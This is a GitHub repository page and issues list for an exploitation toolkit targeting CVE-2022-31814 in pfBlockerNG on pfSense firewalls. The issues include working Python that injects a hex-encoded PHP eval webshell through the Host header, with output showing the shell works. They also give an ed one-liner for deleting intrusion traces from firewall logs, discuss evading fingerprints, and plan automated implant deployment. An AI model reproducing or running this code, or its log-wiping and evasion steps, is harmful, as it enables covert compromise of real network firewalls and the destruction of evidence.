evergreencartoons/senselessviolence

CVE-2022-31814 Exploitation Toolkit.

• 👋 Hi, I’m @EvergreenCartoons.
• 👀 I’m interested in exploits.
• 🌱 I’m currently learning to improve my programming from "terrible" to "vaguely mediocre"
• 💞️ I’m looking to collaborate on exploits and offensive security tooling.
• 📫 How to reach me: https://twitter.com/ldsopreload

senselessviolence's Issues

Randomising shell path/shell parameter.

Randomising the shell path/shell parameter comes with some issues.

1. We have a bad-char problem due to htmlspecialchars().
2. Effort.
3. Means storing "state" between executions for the cleanup, and our overall framework/skeleton isn't there yet.

Make the check_execution "string" dynamic

Function at:

SenselessViolence/senselessviolence.py

Line 94 in f5487f8

def check_execution(base_url, shell_webpath, shell_param):

TL;DR, sending a static md5('hacktheplanet') in every PHP exploit is not very cash money of us, as it leaves an obvious fingerprint.

Instead we should have a much more dynamic method of checking if the exploit works.

We can start by having it hash a random string, maybe? Still leaves some static bytes, but hey. It isn't as horrible.

Built-in proxy support?

We could support proxies out of the box, given we use requests. However, the user could just use proxychains instead and save us the effort.

Better log cleaning (surgical line removal)

After much searching, the following might be usable for surgical log editing:

printf '%s\n' 'g/python-requests/d' w q | ed -s /var/log/pfblockerng/dnsbl.log

We can do the same with nginx.log, etc.

We would need something to reliably match on, user-agent seems pretty reliable. Given these are firewalls, odds are they are at the very edge of the network anyway, so "blending in" with a user agent seems kind of pointless given we are zapping the logs. Also, TLS is in play.

Might consider it for the cleanup script...

I should look and see if this thing ships logs to somewhere. I bet the cheeky fucker does.

Webshell only mode

Reference: #8

In all these exploits that drop a webshell as part of the exploitation, we should have a mode where it only drops the webshell and logs it to a file, for automation reasons.

We can use frameworks like Antsword or similar to manage these shells later.

Replace base64 with hex

This actually works completely fine on our target.

def upload_webshell(base_url, target_path):
    print("(+) Using command injection bug to inject webshell")
    php_code = f"<?$a=fopen(\"{shell_fullpath}\",\"w\") or die();$t='{shell_code}';fwrite($a,$t);fclose( $a);?>"
#    encoded_php = base64.b64encode(php_code.encode('ascii'))
    encoded_php = binascii.hexlify(php_code.encode('ascii'))
    encoded_php = encoded_php.upper()
    print(encoded_php)
    command_string = f"' *; echo '16i {encoded_php.decode('ascii')} P' | dc | php; '"
    print(command_string)
    headers = {'Host': command_string}
    target_url = base_url + target_path
    r = requests.get(target_url, headers=headers, verify=False)

$ python3 test.py 
(+) Using command injection bug to inject webshell
b'3C3F24613D666F70656E28222F7573722F6C6F63616C2F7777772F73797374656D5F616476616E6365645F636F6E74726F6C2E706870222C22772229206F722064696528293B24743D273C3F706870206576616C28245F504F53545B313333375D293B3F3E273B6677726974652824612C2474293B66636C6F736528202461293B3F3E'
' *; echo '16i 3C3F24613D666F70656E28222F7573722F6C6F63616C2F7777772F73797374656D5F616476616E6365645F636F6E74726F6C2E706870222C22772229206F722064696528293B24743D273C3F706870206576616C28245F504F53545B313333375D293B3F3E273B6677726974652824612C2474293B66636C6F736528202461293B3F3E P' | dc | php; '
None
(+) Checking for our webshell...
(+) Shell works!
True

advise

I don't think it is necessary to transmit trojan again. We can use those tool to directly connect to the management target
https://github.com/AntSwordProject/antSword
https://github.com/rebeyond/Behinder

--auto mode

A fully automatic mode, for scripting.

Basically will run touch, probe, exploit, and cleanup automatically for you while deploying your implant of choice.

Pros:

• easy to automate testing, super fun and useful.
• not much code to write.
• fun.

Cons:

• some idiot will use it to run monero miners on peoples firewalls.
• requires writing code.

Depends On:

• Ideally, configuration file support
• Being bothered.

Adding nopen/hydrogen/mcb support

This should be broadly mcb compatible as-is, however we might want to add a "trojan-type" argument (defaulting to the builtin) for external implants like "nopen" or "hydrogen".

Is this one we leave to the user, or do we make the tool even more muppet-proof?

Getting legacy package of pfBlockerNG

Hello, I am writing CVE reports for my university and I am interested at that one. But unfortunatly I could not find required package in google. There is only 2.1.4_28 version in package manager:

Where should i look for the right one? Thanks in advance